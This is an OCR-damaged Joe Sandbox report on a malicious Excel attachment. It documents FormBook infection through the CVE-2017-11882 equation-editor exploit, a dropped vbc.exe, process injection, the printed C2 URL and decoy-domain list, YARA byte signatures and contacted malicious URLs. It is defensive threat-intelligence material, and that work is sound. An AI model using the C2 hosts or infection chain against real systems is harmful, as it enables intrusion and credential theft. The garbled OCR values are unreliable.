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Windows Analysis Report Remittance_Advice_details00...

Overview

General Information

Sample Remittance_Advice_detail
Name: s001009142021.xlsx

Analysis ID: 483680

MD5: 849137c07d96b6..
SHAL: 21f9985416¢2bfc..
SHA256: 594eeeb07a9f81d.
Infos: n E Q ;‘I‘ i @;

wES HCR' HCA'
3
HI A 4

Most interesting Screenshot:

Fabfce

B

BT eelel=

Process Tree

= System is w7x64

Detection

Score:

Range:

Whitelisted:

Confidence:

MALICIOUS

FormBook

100
0-100
false

100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e....
Sigma detected: EQNEDT32.EXE c...
Multi AV Scanner detection for subm...
Yara detected FormBook

Malicious sample detected (through ...
Sigma detected: Droppers Exploiting...
System process connects to networ
Sigma detected: File Dropped By EQ...
Antivirus detection for URL or domain
Multi AV Scanner detection for dropp...
Sample uses process hollowing tech...

Maps a DLL or. memory area into

Office equation editor: starts process...

Classification

. EXCEL.EXE (PID: 2724 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

Hisastt

* Joo EQNEDT32.EXE (PID: 2224 cmdline: ‘C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5:
AB87236E214F6D42A65F5DEDAC816AECS)

e [B vbc.exe (PID: 2616 cmdline: 'C:\Users\Public\vbc.exe' MD5: 34DFFFOC6477A97FB402C3C5F806060E)
o [ vbc.exe (PID: 668 cmdline: ‘C:\Users\Public\vbc.exe' MD5: 34DFFFOC6477A97FB402C3C5F806060E)
o [m1 explorer.exe (PID: 1764 cmdline: C:\Windows\Explorer. EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

o [ wuapp.exe (PID: 2076 cmdline: C:\Windows\SysWOW64\wuapp.exe MD5: CBEBA45CEF271BED6C2FOE1965D229EA)
o cmd.exe (PID: 2568 cmdline: /c del 'C:\Users\Public\vbc.exe' MD5: AD7B9C14083B52BC532FBA5948342B98)

= cleanup

Malware Configuration

Threatname: FormBook

Copyright Joe Security LLC 2021
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"2 list": [
"www.extinctionbrews.com/dy8g/"

1,

"decoy": [
"mzyxi-rkah-y.net",
"okinawarongnho.com",
"qq66520.com",
"nimbus.watch”,
"cwdelrio.com”,
"regalshopper.com”,
"avito-payment.life”,
"jorgeporcayo.com",
"galvinsky.digital”,
"guys-only.com",
"asmfruits-almacenes.com”,
"boatrace-life04.net",
"cochez.club",
"thelastvictor.net”,
"janieleconte.com",
"ivoirepneus.com”,
"saludflv.info",
"mydreamtv.net",
"austinphy.com",
"cajunseafoodstcloud.com”,
"13006608192.com",
"clear3media.com”,
"thegrowclinic.com”,
"findfoodshop.com",
"livegaming.store",
"greenseti.com",
"atmaapothecary.com",
"builtbydawn.com",
"wthcoffee.com",
"melodezu.com”,
"oikoschain.com"”,
"matcitekids.com”,
"killrstudio.com”,
"doityourselfism.com”,
"monsoonnerd.com”,
"swissbankmusic.com”,
"envisionfordheights.com”,
"invisiongc.net",
"aizaibali.com",
"professioneconsulenza.net”,
"chaneabond. com",
"theamercianhouseboat.com”,
"scuolatua.com”,
"surivaganza.com”,
"xn--vuq722jwngjre.com”,
"quiteimediato.space”,
"ecofingers.com”,
"manageoceanaccount.com”,
"cindywillardrealtor.com”,
"garimpeirastore.online”,
"tinsley.website",
"fitnesstwentytwenty.com”,
"thenorthgoldline.com”,
"scuolacounselingroma.com",
"iwccgroup.com”,
"wideawakemomma.com",
"anthonysavillemiddleschool.com”,
"sprinkleresources.com”,
"ravexim3.com",
"onedadtwodudes.com",
"shxytl.com",
"iriscloudvideo.com",
"theshapecreator.com”,
"vermogenswerte.com"

Yara Overview

Memory Dumps

Source Rule

00000006.00000002.480756395.00000000002C JoeSecurity_FormBook
0000.00000004.00000001.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source Rule Description Author Strings

00000006.00000002.480756395.00000000002C Formbook_1 autogenerated rule Felix Bilstein -
0000.00000004.00000001.sdmp brought to you by  yara-signator at 0x8992:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot 0x146a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494
0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06
0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal22:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

.

0x85f8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

3

3

e o o o

e o o o

00000006.00000002.480756395.00000000002C Formbook detect Formbook in JPCERT/CC
0000.00000004.00000001.sdmp memory Incident Response
Group

0x166c9:$sqlite3step: 68 34 1C 7B E1
0x167dc:$sqlite3step: 68 34 1C 7B E1
0x166f8:$sqlite3text: 68 38 2A 90 C5

0x1681d:$sqlite3text: 68 38 2A 90 C5
0x1670b:$sqlite3blob: 68 53 D8 7F 8C
0x16833:$sqlite3blob: 68 53 D8 7F 8C

e o o o o o

00000008.00000002.521464934.0000000000170000.00000 JoeSecurity_FormBook Yara detected Joe Security
040.00020000.sdmp FormBook

00000008.00000002.521464934.0000000000170000.00000 Formbook_1 autogenerated rule Felix Bilstein -
040.00020000.sdmp brought to you by  yara-signator at 0x8992:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot 0x146a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494
0x14191:$sequence_2: 3B 4F 14 739585 C9 74 91
Ox147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06
0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal22:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19797:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla83a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

.

0x85f8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

.

.

e o o o

e o o o

Click to see the 22 entries

Sigma Overview

Exploits: -i.

Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE

System Summary: -i.
Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: Execution from Suspicious Folder

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Brripg

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Machine Learning detection for dropped file

Copyright Joe Security LLC 2021 Page 6 of 31



=

Exploits:

Networking:

=

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

E-Banking Fraud:

=

Yara detected FormBook

]‘

System Summary:

Malicious sample detected (through community Yara rule)

Boot Survival:

]‘]

Malware Analysis System Evasion:

]

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

=

Stealing of Sensitive Information:

Yara detected FormBook

] ‘

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command and  Netw
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration Control Effec
Valid Service Windows Windows Masquerading os System Time Remote Archive Exfiltration Encrypted Eave:
Accounts  Execution Service Service Credential Discovery Services Collected  Over Other Channel Insec
Dumping Data Network Netw:

Medium Comr

Default Shared Application  Process Virtualization/Sandbox LSASS Security Software Remote Data from  Exfiltration Ingress Tool Explc
Accounts  Modules shimming [ Injection Evasion Memory  Discovery Desktop Removable Over Transfer [{) Redir
Protocol Media Bluetooth Calls/
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Initial
Access

Domain
Accounts

Local
Accounts

Cloud
Accounts

Replication
Through
Removable
Media

External
Remote
Services

Execution Persistence

Exploitation for
Client

Execution

Logon Script
(Windows)

At (Windows) Logon Script
(Mac)

Cron Network
Logon Script

Launchd Rc.common

Scheduled Task Startup
Items

Behavior Graph

Privilege
Escalation

Application
Shimming

Extra Window
Memory
Injection

Network Logon
Script

Rc.common

Startup Items

Defense Evasion

Process

Injection

Deobfuscate/Decode
Files or Information

Obfuscated Files or
Information

Software Packing

Extra Window Memory
Injection

Credential
Access

Security
Account
Manager

NTDS

LSA
Secrets

Cached
Domain
Credentials

DCSync

Screenshots

Thumbnails
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F cowmos Sy

Discovery

Virtualization/Sandbox

Evasion

Process Discovery

Remote System
Discovery

File and Directory
Discovery

System Information

Discovery

L

Lateral
Movement

SMB/Windows
Admin Shares

Distributed
Component
Object Model

SSH

VNC

Windows
Remote
Management

Collection Exfiltration

Data from Automated Non-Application
Network Exfiltration Layer Protocol
Shared
Drive
Input Scheduled Application Layer
Capture Transfer Protocol
Keylogging Data Fallback
Transfer Channels
Size Limits
GUI Input  Exfiltration  Multiband
Capture Over C2 Communication
Channel
Web Portal Exfiltration Commonly Used
Capture Over Port
Alternative
Protocol
Legend:
|:| Process
. Signature
. Created File
Il onsiPoinfo
ﬂ Is Dropped
A% Is Windows Process

[ TT]
*
*n

)ES 8

i
i
=

L@ 2 )

Command and
Control

Netw
Effec

Explc
Track
Locat

SIM ¢
Swap

Manij
Devic
Comr

Jamn
Denie
Servii

Rogu
Acce:

Hide Legend

Number of created Registry Values

Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Remittance_Advice_details001009142021 - Microsoft Excel
Home | Inset  Pagelayout  Formulas  Data  Review  View
Calibri
. HaCemy~
< Format Painter

Clipboard % Alignment HNumber

Styles

%y This document is
=%} protected

nt was downloaded fr
nable Editing from

3,0nce you have enabled ediiting, please click
Update Links

W 4 » M| Sheet2 /Sheet3 ~¥J

Ready |

EEERE

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

Remittance_Advice_details001009142021.xIsx

Dropped Files

Copyright Joe Security LLC 2021

Detection Scanner

34% ReversingLabs

Label

Document-
Word.Exploit. CVE-
2017-11882

Link
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Source Detection Scanner Label Link

Unpacked PE Files

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs
Source Detection Scanner Label Link
http:/fwww.ecofingers.com/dy8g/? 0% Avira URL Cloud safe

illD=X9Az7RtkaU81d609S6tJRjQeFUHqBPh6fhjlI6Bm04vOrRN3gQJahLAd3CrM9JEnxgRa3A==&7nh=0
brOwzXxgHiLa

http://i3.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.eot 0% Avira URL Cloud safe
http:/fwww.iis.fhg.de/audioPA 0% URL Reputation safe
http://i3.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.otf 0% Avira URL Cloud safe
http://i3.cdn-image.com/__media__/pics/12471/kwbg.jpg) 0% Avira URL Cloud safe
http://i3.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.ttf 0% Avira URL Cloud safe
http:iitreyresearch.net 0% URL Reputation safe
http:/fwww.onedadtwodudes.com/display.cfm 0% Avira URL Cloud safe
http://i3.cdn-image.com/__media__/pics/12471/arrow.png) 0% Avira URL Cloud safe
http:/fwww.onedadtwodudes.com/Best_Penny_Stocks.cfm? 0% Avira URL Cloud safe
fp=gmvIxXFBTKEAG6LAcskD2eWPFr51ekSLBBNOJWSjVu%2FUU

http:/fwww.icra.org/vocabulary/. 0% URL Reputation safe
http:/fwww.onedadtwodudes.com/find_a_tutor.cfm? 0% Avira URL Cloud safe
fp=qmvIXFBTKEABLAcskD2eWPFr51ekSLBBNOJW8jVu%2FUUZJTLt

http://i3.cdn-image.com/__media__/pics/12471/libgh.png) 0% Avira URL Cloud safe
http://i3.cdn-image.com/__media__/pics/12471/logo.png) 0% Avira URL Cloud safe
http:/fcomputername/printers/printername/.printer 0% Avira URL Cloud safe
http:/fwww.%s.comPA URL Reputation safe
_____
http://i3.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.eot?#iefix Avira URL Cloud  safe
http:/fwww.onedadtwodudes.com/Credit_Card_Application.cfm? 0% Avira URL Cloud safe
fp=gmvIxXFBTKEAG6LAcskD2eWPFr51ekSLBBNOJWSjV

http://servername/isapibackend.dll 0% Avira URL Cloud  safe
http:/fwww.onedadtwodudes.com/sk-logabpstatus.php? 0% Avira URL Cloud safe
a=VWFRUU1IL1pRcXBSSIh6SOwrZnpgVKRFSTIReFR5VHIJUENN

http://i3.cdn-image.com/__media__/pics/12471/bodybg.png) 0% Avira URL Cloud safe
http://i3.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.eot 0% Avira URL Cloud safe
http://wellformedweb.org/CommentAPI/ 0% URL Reputation safe
http:/fwww.onedadtwodudes.com/Work_from_Home.cfm? 0% Avira URL Cloud safe
fp=gmvIXFBTKEA6LAcskD2eWPFr51ekSLBBNOJWS8jVu%2FUUZIT

http:/fwww.onedadtwodudes.com/Best_Mortgage_Rates.cfm? 0% Avira URL Cloud safe
fp=gmvOxXFBTKEAG6LAcskD2eWPFr51ekSLBBNOJWSjVu%2F

http:/fwww.matcitekids.com/dy8g/? 0% Avira URL Cloud safe

illD=d19e06GBNnSulhV6EbBGZI9CIMc/scmMOFshd6X+e3vqOVIXBF2NWOUbASSIfRDBFVPtqQQ==&7nh
=0brOWzXxgHiLa

hitp://i3.cdn-image.com/__media__/pics/12471/search-icon.png) 0% Avira URL Cloud safe
hitp://www.onedadtwodudes.com/Free_Credit_Report.cfm? 0% Avira URL Cloud safe
fp=qmvIxXFBTKEA6LAcskD2eWPFr51ekSLBBNOJW8jVu%2FU

http://i3.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.ttf 0% Avira URL Cloud safe
http:/fwindowsmedia.com/redir/services.asp? WMPFriendly=true 0% URL Reputation safe
http:/fwww.onedadtwodudes.com/Anti_Wrinkle_Creams.cfm? 0% Avira URL Cloud safe
fp=gqmvOxFBTKEAG6LAcskD2eWPFr51ekSLBBNOJW8jVu%2F

http://i3.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.eot?#iefix 0% Avira URL Cloud safe
http://i3.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.otf 0% Avira URL Cloud safe
http:/fjava.sun.com 0% Avira URL Cloud safe
http://i3.cdn-image.com/__media__/pics/12471/libg.png) 0% Avira URL Cloud safe

Copyright Joe Security LLC 2021 Page 10 of 31



Source Detection Scanner Label Link

www.extinctionbrews.com/dy8g/ 0% Avira URL Cloud safe
http://i3.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.woff 0% Avira URL Cloud safe
http:/fwww.doityourselfism.com/dy8g/? 0% Avira URL Cloud safe

illD=Y4JBfBJEKLG3bE/nPu+ARLK4ZQab+daplkyoobOuuyzzJOKZWwpYr6zx24KPHWTC7q0HDg==&7n
h=0browzXxgHiLa

http://i3.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.svg#ubuntu-b 0% Avira URL Cloud safe
http://i3.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.svg#ubuntu-r 0% Avira URL Cloud safe
http:/fwww.onedadtwodudes.com/px.js?ch=2 0% Avira URL Cloud safe
http://i3.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.woff 0% Avira URL Cloud safe
http://i3.cdn-image.com/__media__/js/min.js?v2.2 0% URL Reputation safe
http://i3.cdn-image.com/__media__/fonts/ubuntu-r/ubuntu-r.woff2 0% Avira URL Cloud safe
http://i3.cdn-image.com/__media__/fonts/ubuntu-b/ubuntu-b.woff2 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

P Domain Country Flag ASN ASN Name Malicious

General Information

Joe Sandbox Version: 33.0.0 White Diamond

Copyright Joe Security LLC 2021 Page 11 of 31



Analysis ID: 483680

Start date: 15.09.2021
Start time: 11:28:40
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 11m 14s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: Remittance_Advice_details001009142021.xIsx
Cookbook file name: defaultwindowsofficecookbook.jbs
Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)
Number of analysed new started processes 12
analysed:
Number of new started drivers analysed: 2
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.expl.evad.winXLSX@9/21@6/5
EGA Information: Failed
HDC Information: e Successful, ratio: 15.3% (good quality ratio 14.5%)

e Quality average: 76%
e Quality standard deviation: 28.1%

HCA Information: e Successful, ratio: 95%
* Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time

e Enable AMSI

e Found application associated with file extension: .xIsx
e Found Word or Excel or PowerPoint or XPS Viewer
L]

L]

L]

Attach to Office via COM

Scroll down

Close Viewer
Warnings: Show All
Simulations

Behavior and APIs

Time Type Description

11:29:48 API Interceptor 53x Sleep call for process: EQNEDT32.EXE modified
11:29:53 API Interceptor 34x Sleep call for process: vbc.exe modified
11:30:13 API Interceptor 182x Sleep call for process: wuapp.exe modified
11:31:05 API Interceptor 1x Sleep call for process: explorer.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context

Copyright Joe Security LLC 2021 Page 12 of 31



Match
52.58.78.16

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

°*  www.virtu
alvandy.co
m/méts/?KH
DXBF=wIFLG
UAsp6BDGTS
0jQI4z7Znr
3dDkQDTTcV
dFU/Rey3f2
VeaBOrua3j
xtl/rZ4AM1
efl&tR-DU=ETYX

www.total
cateringso
lutions.co
m/nvts/?bL
0Xot=UHVDS
2sp&o6AIn=
eadEcrBkBh
UFVNQgVPjTp
+4BF7ywTZE
LgHgQMi/+k
6oDfgclaai
miwhKoz7Jv
DoSHD7EM

e www.algos
wipe.com/i7dg/?
c8DXB
tGx=QIlwSkx
bZadzUeQqQ
30CvqyB6rj
7s5Q3MCb1z
rrX2cqYPaG
VNCrPTIXND
LiAhi6vAbY
6C&O0FNIP=n
VnHMzW8Enl4w

e www.malik
akids.com/
bp39/23fkp
kd=4hKTJIV&
FL=qgzkPggj
nCd/Vmi+c2
6VefrYfl/N
Xi2h+iB460
NAC8jINjWr
HAQrLoO2c1
oUjeDtDrMr9

e www.unite
dold.com/h388/?
AHrxE
Xhh=HeOxd3
fTK3emeSzZh
IcCEHYZUbH5
pi5uzRBKaO
yXjbbuHI/g
XjF5X3QotE
pSoKmdp15n
Ju&v8KDE=K
ZtLDXk

e www.foodb
oxprogram.
com/hisp/?
EtJLUP=mPq
+goc2WbnDm
vafbddgDYi
dLsOkPwzb1
ZDdyOKSZuY
aGeRjfw+Mm
+Zx6ela6ZR
BUbvQ&m8=_
6AX3F7HL65
px0OpP

o www.kumam
otors.com/
imm8/?m0G0
H=WNbJnnYK
yXaFNyvqUv
70M8tc6Ip+
G1TKO56RrI
v1d9VKxOX
YBKfWrwW8PX
Slo33BkjPg
&v0=4h-PAl
bPzLHPfRf
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https://view.joesandbox.com/analysis/375791/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375791/html/none?idtype=webid
https://view.joesandbox.com/analysis/374025/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374025/html/none?idtype=webid
https://view.joesandbox.com/analysis/372714/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/372714/html/none?idtype=webid
https://view.joesandbox.com/analysis/370664/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/370664/html/none?idtype=webid
https://view.joesandbox.com/analysis/368401/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/368401/html/none?idtype=webid
https://view.joesandbox.com/analysis/367433/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/367433/html/none?idtype=webid
https://view.joesandbox.com/analysis/367343/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/367343/html/none?idtype=webid

Match
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Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

¢ www.algos
wipe.com/i7dg/?
TN9=g
JITTXEhOH_
&eFQI7bE=Q
lwSkxbZadz
UeQqQ30Cvq
yB61j7s5Q3
MCb1zrrX2c
qYPaGvNcrP
TIXNDLhgxt
b/AF9TF

e www.local
history.uk/angp/?
aDKd98=Tqni2f
LSXG5mIFQu
tWn33nbGna
h9sr00Z31A
uXOcuD6éyn/
90T6+GkOZo
4u+Wx4yaER
uP&3fuH=1b
VdAzOHBbVXO

e www.mobie
ssence.com
/6mam/?b0D
4=KE8gpfuB
utRuMRaKHV
5golwNmc44
LEBOi+XDAS
05rkp2RTHI
e1NPjCzZMh
2LYYHbalsW
TA==&r0DpR
=Fvi0dr_Xh

e www.bkard
d.com/gb4a/?
TL3D=Frg
LUJVHZHA4&
V48DtRqP=i
UWOEOS5fXLA
IFOIL2VGkx
aRFKkUcGJC
ZRj1yNytJ9
vDbgBTcOBN
48hgRcylJe
osCgetp

e www.diesel-
diagnost
ics.com/c8ec/?
g8LhOf
9X=laUjCXc
GdXJ/z3G1le
ele+eG/Ip2
dLigbpYxWw
fNaLX5nkSF
IXnmGgdSbi
IgKCohiu2J
Q&p2M=SN6L
U2tHzzIXS8

e www.mobie
ssence.com
/6mam/?qfZ
INv=KE8gpf
UBuUtRuMRaK
HV5golwNmc
44LE60i+XD
ASO05rkp2RT
HlelNPjCzZ
Mh2LYYHbal
SWTA==&-Z0
=jzfp

o www.kumam
otors.com/
imm8/?zTLx
gP=WNbJnnY
KyXaFNyvqu
v70M8tc6Ip
+G1TKO56Rr
Iv1d9VKxO
XYBKkWrw8pP
XSP3HHBghH
g&tBbX=GDK
DKXTPDI788D
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https://view.joesandbox.com/analysis/366925/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366925/html/none?idtype=webid
https://view.joesandbox.com/analysis/366345/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366345/html/none?idtype=webid
https://view.joesandbox.com/analysis/366341/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366341/html/none?idtype=webid
https://view.joesandbox.com/analysis/366337/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366337/html/none?idtype=webid
https://view.joesandbox.com/analysis/366040/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366040/html/none?idtype=webid
https://view.joesandbox.com/analysis/365879/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/365879/html/none?idtype=webid
https://view.joesandbox.com/analysis/365419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/365419/html/none?idtype=webid

Match

Domains

Match

www.ecofingers.com

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse

Browse

Context

o www.after
market.gro
up/qiat/?7
nV=k1fbwtq
4Anch6H57T]j
r6HCYtvgXx
fYx1f4ciVve
jleciCaSMN
JWpwx7KMcG
carOP//cTZ
3&TL3hz=zT
SITNwP1rl

www.thesl|
ut.net/rqe8/?
0ZhtNxR
=tECEXrry9
QpYeJ7Z3tY
V5vmXPxZ7p
UMb7YEQscf
YTdgbIHTG5
NA2bHUIJKR
yoylDyWpp&
7n=h40X

e www.mobie
ssence.com
/6mam/?d0=
z4VPJINO82D
hhP&2dI4tF
=KE8gpfUEU
qRqMBWGFV5
golwNmc44L
E60i+PTcRo
4vEp3RirjZ
IcD1GLbPH6
NTpTQPuYh

e www.threa
tprotectio
n.net/6mam/?
zrn4=2dP
LCFLHe&zjg
h6L=5U63IG
+7yBTG2LU/
sbhPJsaYeN
uOpzfei2tM
ILnenfG3If
TZPYhgam4e
eguQu/uCp/
fddQ==
www.digit
alwt.com/rqe8/?
f81Ludbx=N3Qgi/
dE/GS5zfZa
4IrFngEOme
29mHwWXtw09
S9DGVHcfSd
SRlodk8XfJ
mo/JOccRCk
xG&s48tpP=
5jDD

www.dna-home-
testing.com/uisg
1?fpzHIPF=
nt6LT/esYn
zSVTn6KIR1
rIxzIX5eyk
uOJIMGFruro
JLAGBZb5Mt
q17giMUYPk
IheLj+jPiw
==&3fol=bP
Ah_D2h7IHH

Context

e 52.58.78.16
e 52.58.78.16
e 52.58.78.16
52.58.78.16

13.248.216.40

13.248.216.40
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https://view.joesandbox.com/analysis/365315/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/365315/html/none?idtype=webid
https://view.joesandbox.com/analysis/365192/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/365192/html/none?idtype=webid
https://view.joesandbox.com/analysis/365116/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/365116/html/none?idtype=webid
https://view.joesandbox.com/analysis/365085/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/365085/html/none?idtype=webid
https://view.joesandbox.com/analysis/365034/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/365034/html/none?idtype=webid
https://view.joesandbox.com/analysis/364135/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/364135/html/none?idtype=webid
https://view.joesandbox.com/analysis/360405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/360405/html/none?idtype=webid
https://view.joesandbox.com/analysis/357776/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357776/html/none?idtype=webid
https://view.joesandbox.com/analysis/354568/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354568/html/none?idtype=webid
https://view.joesandbox.com/analysis/352524/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352524/html/none?idtype=webid
https://view.joesandbox.com/analysis/348103/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348103/html/none?idtype=webid
https://view.joesandbox.com/analysis/347462/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/347462/html/none?idtype=webid

ASN

Match
AMAZON-02US

CONFLUENCE-NETWORK-INCVG

JA3 Fingerprints
No context

Dropped Files

No context

SHA 256
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash

>
[7]
73
o
o,
2
@
-3
[
Q
3
-
®
P4
o
3
®
c
a
[

Created | dropped Files

Detection
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious

malicious

Link
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse

Browse

Context
e 13.238.159.178
e 54.194.41.141

e 99.83.154.118
e 44.227.65.245
e 09.83.154.118
e 00.83.154.118
e 3.139.50.24

e 3.139.50.24

e 13.226.156.103
e 34.249.145.219
e 54.70.167.99

e 13.52.148.225
e 34.249.145.219
e 184.77.232.100
e 63.32.132.1

e 34.249.145.219
e 54.96.126.50

e 18.226.174.198
e 52.218.0.168

e 13.238.159.178
e 209.99.40.222
e 209.99.40.222
e 209.99.64.52

e 204.11.56.48

e 209.99.40.222
e 209.99.40.222
e 209.99.40.222
e 209.99.40.222
e 209.99.40.222
e 209.99.64.33

e 209.99.40.222
e 208.91.197.46
e 208.91.197.46
e 209.99.40.222
e 208.91.197.46
e 208.91.196.145

e 209.99.40.222
e 209.99.40.222
e 209.99.40.222
e 209.99.40.222

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type: PE32 executable (console) Intel 80386, for MS Windows

Category: downloaded

Size (bytes): 300544

Entropy (8bit):  7.772928715812783

Encrypted: false
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https://view.joesandbox.com/analysis/379617/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379617/html/none?idtype=webid
https://view.joesandbox.com/analysis/379593/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379593/html/none?idtype=webid
https://view.joesandbox.com/analysis/379574/html/none?idtype=webid#static
